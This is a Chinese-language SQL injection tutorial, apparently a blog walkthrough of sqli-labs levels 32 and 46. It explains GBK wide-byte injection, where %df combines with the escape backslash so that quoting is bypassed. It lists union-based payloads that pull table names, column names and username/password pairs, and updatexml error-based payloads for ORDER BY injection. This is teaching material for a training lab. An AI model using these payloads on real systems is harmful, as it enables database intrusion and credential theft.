什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字
什么是宽字节注入?
原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c
常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置
宽字节注入中常用的特殊字符:
- %df
- �'
- �'
其原理是将转义符号\与%DF组合成一个汉字,使其失去效用
注入语句:
%DF' union select 1,2,3 -- -
�' union select 1,2,3 -- -
�' union select 1,2,3 -- -
以sqlilab的第32关为例
输入?id=1'时不报错,被/转义了
根据宽字节的方法进行测试
id=-1%df' union select 1,2,3 -- -
sql注入基本语句:
order by 4
判断有多少列
union select 1,2,3
判断数据显示点
union select 1,user(),database()
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
查看账号密码信息
order by注入
以sql-lab-46关为例
一进入46关页面就提示我们使用 sort :
我们尝试这使用 ?sort=1 发现:
然后 ?sort=2:
然后 ?sort=3
我们发现当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。我们想到了order by 函数 ,猜测可能是与 order by 函数相关的注入。
order by 注入是指其后面的参数是可控的,
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。
判断库名:?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
判断表名:?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
判断列名:?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
查询数据:?sort=-1 and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q